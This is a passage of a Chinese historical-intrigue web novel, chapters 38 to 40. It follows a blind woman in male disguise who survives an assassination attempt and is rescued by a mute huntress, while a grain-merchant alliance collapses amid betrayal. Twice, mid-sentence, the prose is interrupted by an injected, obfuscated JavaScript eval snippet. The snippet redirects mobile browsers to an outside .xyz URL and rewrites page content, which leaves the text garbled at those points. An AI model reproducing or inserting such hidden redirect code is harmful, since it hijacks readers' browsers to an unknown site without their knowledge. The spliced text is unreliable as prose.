是裹着水草的泥岸！ 求生本能骤然迸发，她双手死死抠进岸边淤泥，拼尽所有向上攀爬。冰冷空气猛地涌入胸腔，激得她一阵剧烈咳嗽，连指尖的泥泞都在震颤。 若嵁瘫倒在河岸芦苇丛中，浑身湿透，单薄衣衫紧贴着身子，冷得瑟瑟发抖，满是狼狈。 但她还活着。 短暂喘息后，若嵁强压下紊乱的气息，指尖深深掐进掌心，借着那点刺痛强迫自己冷静下来。 她侧耳倾听—— 远处，城内的喧嚣依旧隐约可闻，而近处，唯有风吹芦苇的沙沙声，以及河水奔流不息的哗哗声。 若嵁清楚，此刻的安然不过假象她浑身湿透，寒冷正在迅速带走她的体温，若不尽快找到遮蔽，不需那刺客寻来，自己就会因失温而死。 更何况，自己这一身秘密…… 必须离开这里。 她挣扎着坐起，大致判断方位。旋即拄着盲杖，勉强站起，踩在湿滑的泥泞和杂草中，步履维艰。 这场刺杀的幕后主使—— 是粮商们狗急跳墙，欲要在“三日之期”内彻底铲除她这个变数？抑或，这阴影之后，还藏着更深的影子？ 无论如何，对方的目的几近得逞。 命悬一线之际，冰冷的嗤笑竟自若嵁唇边逸出。 不论是谁，棋至中盘便欲毁局，未免太过失态。 既然要乱，那便乱个彻底。 水浊，则鱼现。 而她这个垂钓者，正好收网。 39. 碣石调·幽兰（三十八） 正当若嵁在上游河岸草丛间艰难喘息时，下游的廖怀，正深陷一场焦灼的危机之中。 他先前被水草纠缠，耗力甚巨，此刻面对岸上刺客接连不断的袭击，唯有狼狈不堪地在水中翻腾躲闪，模样甚是凄惨。 冰冷的河水不断带走廖怀残余的体温，他的动作愈发迟缓，眼瞧就要支撑不住。 “难道小爷我今日便要命丧于此？”他心中一片冰凉，满是不甘。 就在千钧一发之际—— “咻！咻咻！” 数道凌厉的破空之声自侧后方传来，精准地射向岸上刺客，逼得对方连连后退。 几名玄甲亲兵如鬼魅般自芦苇丛中现形，动作迅疾如电，转瞬合围。那刺客身手虽悍，却终究难敌四手，顷刻间便被一脚踹中膝窝，束手伏地。 正当亲兵要将其捆缚时，一道沉冷的声音蓦地响起： “慢着。” 周放离鹤氅墨袍，自芦苇深处缓步走出。他竟亲自来了这混乱的河岸。 亲卫们立刻垂首退开，让出通路。 周放离行至被按压在地的刺客身前，居高临下地审视着。刺客低垂着头，浑身湿透，肩膀微颤，显然不如外表那般平静。 “你认得本王。” 刺客垂首不敢抬，然偶有三两点微光自眼缝泄出，竟将他心底的愤恨全然暴露。 周放离恶名在身，自然不杵这些。他俯身，伸出两指，钳住刺客的下颌，迫使对方抬起头来。另一只手，则粗暴地扯下了他用以蒙面的湿布。 五官平平无奇，却令周放离的眸光骤然一凝，捏着对方下颌的手指无意识地收紧了几分。 “霈然兄呢？！” 才被亲兵拖上岸的廖怀，顾不上满身狼狈，一把攥住对方手臂急问，声音早被寒冻与惊惧绞得发颤。 “我等正四处搜寻，廖公子且先暖暖身子。参将大人还在那边等着您呢。”头领言简意赅，指派两人沿河岸向上游搜索。 廖怀心中惶急，念及父亲，终是被搀扶着离开了这片河滩。 突如其来的插曲，截断了周放离的沉思。他身形微顿，直起身后顺势松开了手。他举目望向湍急的河面，望向若嵁消失的方向，眼神幽深难测。 “押回去，本王亲自审。” “是！”众亲兵凛然应命。 周放离最后瞥过翻滚的浊浪，鹤氅猎猎。他转身便走，背影沉入暮色，如一线孤峰，截断了天光。 与此同时，广通源总号后堂。 斜阳自疏窗而入，嫩芽混合着泥土的潮湿气息一同漫入。满座皆失血色，觉春寒之料峭，远不及心间万一。 “孙翁！您得给句准话。”钱东家扑至孙鼎身前，胖脸上油汗涔涔，声音因恐惧而尖利，“那瞎子……落水了！至今生死不明！还有燕王……燕王就在那！” 他抓住孙鼎的衣袖，如同抓住最后一根稻草：“漕运之事，小人托了布政使司的经历打听，他虽说得含糊，可那意思……疏通之事，绝非空穴来风！关知府那边，对市面上的流言更是不闻不问，这、这分明是默认了啊！” “是啊，孙翁！” 另一个瘦高个亦按捺不住，声音发颤，“小人探听的消息大差不差。都说王爷动了真怒，要拿几个囤积最狠的开刀立威！那可是‘阎王’！如今，咱们、咱们库里那些粮食，现在不是金山，是催命符啊！” 满室嘈杂，恐慌如瘟疫般蔓延。早前被孙鼎强行压下的不安，在若嵁遇刺、燕王亲临、流言被“证实”这接连的冲击下，彻底爆发。 孙鼎端坐主位，面沉如水，指间的翡翠扳指近乎要被其捏碎。 刺杀？ 这念头在他心头盘桓已久。 那瞎子竟以一道刻毒的誓言自缚，反将他一军，教他骑虎难下。他分明在寂静深夜，无数次推演过让这“变数”彻底湮灭的棋路。 然，经再三权衡，他终究将指间那枚杀棋，缓缓放回原处。 非不能也，实不为也。 他在苍梧镇这局棋中或能充作弈者，可放至更辽阔疆域，终究不过是枚小小马前卒。 一步杀着，或致满盘皆输。 “蠢货！”孙鼎低啐了一声，骂的正是眼前这群目光短浅的鼠辈，更是骂那动手的蠢材。 棋至中局，胜负未分，便行此险招，徒留首尾！要动手，也需待棋局终了，尘埃落定，方可无声无息！如今打草惊蛇，更引来周放离这尊煞神亲自关注…… 孙鼎自然不会将心中所想，诉诸在场之人。他深吸一口气，强压下翻涌的怒火与内心深处潜藏的不安。 上头的回信尚未至，不可轻举妄动！ “都慌甚？！” 孙鼎猛拍案几，声虽不高，积威却震得满堂死寂，“燕王亲至又何妨？他越是大张旗鼓，越证其手中无凭！否则，哪有你我在此处聚首的余地？！” 他狠厉的目光一一扫过在场众人：“至于漕运、查囤，不过对方扰乱视听的把戏！关知府深谙为官之道。他不出声，正是因为他亦不知真假，不敢妄动！我等若自乱阵脚，才是正中他人下怀！” 一鼓作气，再而衰，三而竭。劝慰之言，亦复如是。初语如甘霖，再言如淡水，三言则成缚身的绳索，徒惹厌弃。 钱东家眼神闪烁，喃喃道：“孙翁，话是这么说……可、可万一呢？万一漕运真通了呢？万一王府真查下来呢？咱们的身家性命，可不能全押在‘万一’上啊……” 其他人亦嗫嚅道：“是啊，孙翁。就算消息是假的，可这粮价……眼看是撑不住了。” “北城那边今日施粥，米香扑鼻，绝非陈米麸皮可比！百姓现在信了他们，我等再扛着，届时民怨沸腾，第一个冲的就是咱们的铺子！” “不如……不如我们稍降一些，先平了市面上的抢购风，看看风向再说？”有人小声提议。 “对！少量放粮，试探一下！” “至少把明面上的库存清一清，也好应对王府查验……” 此议一出，竟得到了不少人的附和。钱东家几人更是频频交换眼神，似是另有算计。 孙鼎冷眼旁观这群惶惶不可终日的“盟友”，心知联盟已是名存实亡。顺逆之间，便是生死。真相如何，早已无关大局，大势已去，回天乏术。 眸中寒光一闪，语气却缓和下来，看似妥协：“既然诸位心意已决，孙某便不强拦。唯切记把握分寸：需少量、分批，万不可自乱阵脚，教人防出虚实。一切，待我收到上头明示再议！” 众人如蒙大赦，纷纷拱手，迫不及待地离去。 哪还有人会记挂孙鼎最后的嘱托？只巴不得回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533435|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便开仓放粮，纵使降价，也要快些将这烫手山芋抛出去。 望着众人仓皇逃离的背影，孙鼎独坐堂中，脸色阴沉得能滴出水来。暮色西斜，将他的影子拉得细长扭曲，沉沉投在冰冷地面。 指节敲击紫檀桌面发出的“笃、笃”声响，缓慢而沉重。 “一群蠢材……” 孙鼎齿缝间再碾出这四字，先前的怒其不争已荡然无存，唯余遭背叛后的冰冷与算计。 那群人打得甚算盘，孙鼎心里门儿清——无非是沆瀣一气，将他退出独自硬抗燕王。 那可是北境阎罗，掌生杀大权，与之正面相抗，简直是以卵击石。可他孙鼎能在北地立足至今，靠的从来不是硬碰硬的莽劲。 审时度势而非坐以待毙。他可咽不下这口恶气，眼睁睁看着多年心血与即将到手的泼天富贵付诸东流。 攀扯不上燕王，难道还治不了这群见利忘义、临阵倒戈的墙头草么？ 以为抢先抛售，就能独善其身？ 做梦！ 阴鸷的冷笑，缓缓爬上孙鼎的嘴角。 他起身踱至墙边那座看似寻常的多宝阁前，手指在某个隐蔽的机括上轻轻一按。 只听“咔哒”一声轻响，暗格悄然滑开。里面并非金银珠玉，而是几本看似陈旧的账册，以及一叠用特殊符号标记的信函。 这些，才是他真正的“压舱石”。 账册里记录了这些年他与在场诸位“盟友”资金往来、利益分配的诸多细节。何时、何地、经由何人之手，分润多少，一清二楚。 而那些信函，更是此前为了表忠心，抑或是有所求，留下的亲笔手书，其中不乏一些涉及危如累卵的祸端。 平日里同舟共济，这些本是同盟的见证；可如今船将倾覆，它们便成了催命的符咒，更是他断尾求生的利器。 不是要抛售存货，抢着去讨好燕王，妄图洗白自身么？ 好啊。 孙鼎慢条斯理地取出账册，指尖拂过上面密密麻麻的数字与人名，眼中寒光凛冽。 他自不会蠢到将其直接交与燕王。那与自首何异？ 曾遭粮商盘剥、或与他们有旧怨的官吏，嗅觉敏锐、正愁无投名状投奔王府的胥吏……皆是最佳人选。 但使风声鹤唳，令其知晓，他的掌中，握有倾覆半城粮商之铁证。届时，无须染指，自有鲨群嗅血而至，代行驱虎吞狼之策，碎此残盟。 而他，大可趁乱，将诸多资产和关系网络悄然转移，另起炉灶。损失的，不过些许浮财。 但凡能自众多“盟友”身上剜下一层皮肉，便足以弥补他的损失，甚至……还能借此展示他“断腕”的决心与价值，以求获得新的庇护。 “想踩着我的尸首上岸？”孙鼎对空堂低语，语气淬满刻毒讥讽，“那便瞧瞧，是谁先被这浊浪，吞得连骨头都不剩！” 他不再犹豫，草草将几本关键账册及信函包好，藏入早已准备好的行囊之中。随即，他唤来那名忠诚的老仆孙福，低声吩咐了几句。 孙福面无表情地接过行囊，悄然自后门离去，身影很快消失在渐浓的暮色里。 万事俱备，只欠东风。 孙鼎重归主位，为己斟上一盏早已凉透的茶。他哼着小曲，举杯朝门外虚敬一礼，旋即仰头一饮而尽。 40. 碣石调·幽兰（三十九） 冰冷，刺骨的冰冷，是若嵁意识回笼后的唯一感知。 转瞬，肺腑间火烧火燎的痛楚四下蔓延，激得她猛一偏头，剧烈咳嗽不止，几口浑浊河水便随咳呕出。 水珠顺着额发滑落，滴在身下干燥的草垫上。她方后知后觉，自己似乎…… 得救了？ 溺水令若嵁意识有片刻断裂，她挣扎着试图重新接续。 落水前的喧嚣、冰冷的窒息感、挣脱大氅的决绝……最后定格在指尖抠入岸边淤泥的触感，以及力竭后彻底陷入的黑暗。 她确实活了下来。 若嵁勉力移动身体，四肢百骸却如同被拆散重组过般，迟缓而滞涩。她撑起上半身，伸手覆上眼部，面有怔愣…… 覆目的白纱在湍急的河流中早已不知所踪。 她强按捺住睁眼探看处境的念头，只凝神细听周遭动静。 寂静。 间或夹杂着风絮穿窗，遥溪漱石的破碎声响，却更添空寂。 此处似是唯有她一人。 心弦稍弛，若嵁微睁眼眸，入目先是一片混沌模糊的色块。继而昏光漫入，深色木顶的轮廓渐显，一道人影亦在朦胧中浮现！ 此人她先前竟从未察觉？！ 若嵁不假思索阖上双眸，敛神定气，强压下周身痛意与虚乏，将所有心神尽聚于耳廓。 果闻一缕极浅极缓的呼吸，与她相距，不过丈许。 若嵁暗自心惊，一惊此人敛息闭气的功夫竟深至此，二愧自身流连烟火，懈怠疏忽，实在可鄙。 万般疑窦，层层叠叠缠绕至心头—— 此人何时在此？救她，所图为何？究竟是敌是友？ 覆在草席下的手悄然握紧，指甲嵌入掌心，唤醒了若嵁的神思。 “阁下……救命之恩，在下没齿难忘。”她开口，声音因呛水而沙哑，“不知此处是何地？阁下尊姓大名？” 那道呼吸声规律依旧，却仿佛石入深井，不得回应。 若非若嵁耳力超凡，几乎要以为方才那一眼仅是错觉，这屋内实则空无一人。 她心念电转。对方不予回应，无非几种可能：不屑、不能，抑或…… 另有图谋！ 若嵁再次开口，语气愈缓，带着试探与示弱：“在下双目不便，行动多有困阻。若阁下不便言语，可否……弄出些声响，示意方位？” 对方仍无动于衷。 前所未有的无力感袭上若嵁心头。她精通人心，善于言辞，能在唇枪舌剑中游刃有余，此刻面对这个个无法沟通、深浅不知的存在，平生所学，尽数落空。 鸡同鸭讲，莫过于此。 就在她心思百转，思索对策之时，一阵极轻微的摩擦声响起。是脚步声，刻意放得极轻，却终究逃不过她的耳力。 那人动了。 混合着皂角清爽与淡淡草药苦涩的气息靠近，带着山野间特有野蛮气息。旋即，一只粗陶碗被轻轻放置在她的手边，微温的水面漾起细小的波纹，发出微不可闻的轻响。 不及她有所反应，一只骨节分明，却带着厚茧和些许新鲜擦伤的手，攥住了她的手腕。 若嵁身形霎时一僵，浑身紧绷，下意识便要抬手反击，指节已泛了白，却又硬生生克制。 此刻翻脸，无异于自寻死路。 幸好，那手的力道虽不轻，却好似并无恶意。带着执拗又笨拙地牵引着她的手，缓缓触及粗陶碗的边缘，引导着她感受指尖的粗糙质地与温度。 随后，那手便松了。 意思很清楚——喝水。 整个过程，沉默无声。唯有指尖残留的粗糙触感，以及那碗温水的暖意，昭示着方才发生的一切。 若嵁垂下眼睑，掩去眸中翻涌的复杂情绪。她默默捧起碗，小口啜饮。干涸的喉咙得以滋润，带来一丝真实的慰藉。 她辩着对方退开几步，沉默地坐回了原位。 …… 若嵁略作沉吟。 方才那只手，骨节偏大，掌心与食指指腹的茧子粗厚，力道沉稳，应是常年从事体力劳作所致。呼吸声虽浅，但气息沉长…… 故而，她先入为主，判定对方是位沉默寡言的猎户。 就在她心思落定之际，布料摩擦的窸窣声再次响起。那人似乎在她面前蹲了下来。 随即，一股微凉的触感猝不及防地贴上她的颈侧。 那触感粗糙，带着凉意，是一块浸湿的粗布。正仔仔细细地替为她擦拭脸上、颈间干涸的泥污与河水留下的污迹。 动作生涩得近乎笨拙，半分温柔也无，只机械地、一下下擦拭着。可布巾裹着的凉意，竟奇异地压下些许她肺腑间的灼痛。 约莫是对方的动作纯粹且不带丝毫狎昵。若嵁放松了些许绷紧的肌肉，任由其动作。 布巾随之下移，擦过她纤细锁骨，浸湿了胸前凌乱衣襟。她这才惊觉，身上衣裳竟已换过。 身上的葛布衣衫粗粝干燥，宽大异常，却短了一截，隐隐散发着皂角与阳光曝晒后的洁净气息。 是谁为她更衣？ 答案不言而喻。 饶是若嵁心性沉静，此刻覆在袖中的指尖亦微微蜷缩。她平日里的筹谋算计，皆在人心与言辞间周转，何曾陷入过如此被动的境地？ 生死操于人手，隐秘一览无余。纵使巧舌如簧，此刻亦无用武之地。 那布巾仍在不甚灵活地移动，试图清理她腕上沾染的泥痕。 若嵁有心抗拒，却闪躲不过，被控在原地，动弹不得。她不由得放低姿态，缓声道：“多谢……阁下为我更衣。不知我原先的衣物……” 话未说完，擦拭的动作便停了下来。 对方似已读懂她的疑问。片刻后，窸窣声起，一件沾着潮湿水汽与泥污痕迹的物件，被轻轻搁在她手边。 是那件玄氅。 叠得不算齐整，却能摸出已被大致清理过，只是破损处和泥渍犹在。 紧接着，她的指尖被引导着，触碰到衣衫旁另一样东西—— 冰凉，坚硬，纹路是…… 梅枝。 若嵁摊开的掌心，落下了几笔轻如蝶翼的触感，拼成的字，正是—— “陆”。 “你认得此物？！” 话甫一出口，她便知是赘言。若当真不识，何必特意点破，又何苦写下那个“陆”字？ 隐于这惊愕背后，是森冷的寒意。 铜扣的来历，知晓者寥寥。乃是她重伤昏迷之际，前来灭口的陆氏旧部不慎遗落，后被周放离认出点破。此事隐秘，连廖怀亦不知情。 这荒山野岭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538319|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猎户，如何能一眼认出陆氏的图腾？ 对方绝非普通的山野之人！ 若嵁心念急转。此人救她，是敌是友尚难断言，但无疑与陆氏有着千丝万缕的关联。这或是危机，亦是契机。 “原是如此……”若嵁语气倏地一变，带着刻意营造的唏嘘与松弛，“难怪阁下会出手相救。想不到……在这深山之中，竟还能遇到……‘故人’。” 她将“故人”二字，咬得极为清晰。 对方未有回应，若嵁却分明察觉，那道锁在自己身上的目光，似是凝滞了转瞬。 果然如此。 若嵁趁热打铁，语气愈发恳切，带着几分落难者的脆弱与依赖：“在下流落至此，重伤未愈，目不能视，前事亦多忘却。今日得遇阁下，实乃天不绝我。还望……阁下能暂且收留，容我在此调养些时日。大恩大德，日后定当……” 她的话戛然而止。 对方的指腹覆上了若嵁的嘴唇，阻止了她的未竟之言。 “陆大人曾救过我，你不必多言，且安心休养。” 一笔一划极快地掠过若嵁的掌心，她木然颔首。 若嵁虽不知猎户所言“陆大人”是何许人也，却隐隐有几分猜测。这猜测，无端令她徒生疲乏与无力之感。 良久，她卸下了所有试探与伪饰，极轻地吁出一口气，肩膀微微垮下，露出自苏醒以来，习惯性遮掩的疲惫。 “是在下……唐突了。”她低声道，声音里带着一丝罕见的涩然。 “我……”若嵁顿了顿，无意识攥紧手中的粗陶碗，几番斟酌，终是坦言，“我名为若嵁，与‘陆大人’无甚干系。女扮男相一事……还望阁下能代为遮掩，切莫对外人提及。” 对方无法明言，唯有轻握住了她的手腕，牵引着自上而下，由眉心划向眼睛、鼻梁，触及干裂的嘴唇，最终停于光滑的颈侧。 指尖传来的触感，骨骼的轮廓，皮肤的质感……无一不在清晰地告诉若嵁：救她之人，同为女子。 在若嵁指尖微颤，欲收回手时，她的掌心又被摊开。 略带薄茧的指尖，开始在她掌心，一笔一划，缓慢而坚定地书写： 「世道艰，女子更甚。需强于男儿十倍，方得立足。我，不会说。」 若嵁默了片刻，覆手轻轻按在那只布着薄茧的手背上，以示安抚。 时局难改，她却从来不是坐以待毙之人。 “我落水之前，苍梧镇正因粮价沸腾，民怨四起……姑娘，可曾知晓？”若嵁试探问道。 “唔……” 猎户闻言，急切要开口，偏是个哑巴，半句话也说不出。若嵁品出其中深意，不由一喜。 她知晓！ “官仓被焚，粮食尽毁。无数饥民嗷嗷待哺。” 若嵁陈述时，声音里本裹着恰到好处的忧虑与无力，话音未落却陡然转锋，满是自信与傲然，“我奉燕王之命查探。粮仓被焚者，不过十之一二，余下□□，竟不知如何凭空消失。我反复思量，唯水路一途可解此谜。” 言至此，她微微倾身，朝对方气息萦绕之处靠近，声音压得更低，裹挟着几分欲要共守秘密的信任：： “阁下久居山林，不知……可曾听闻，或见过什么不寻常的动静？譬如，吃水格外重的船舶？”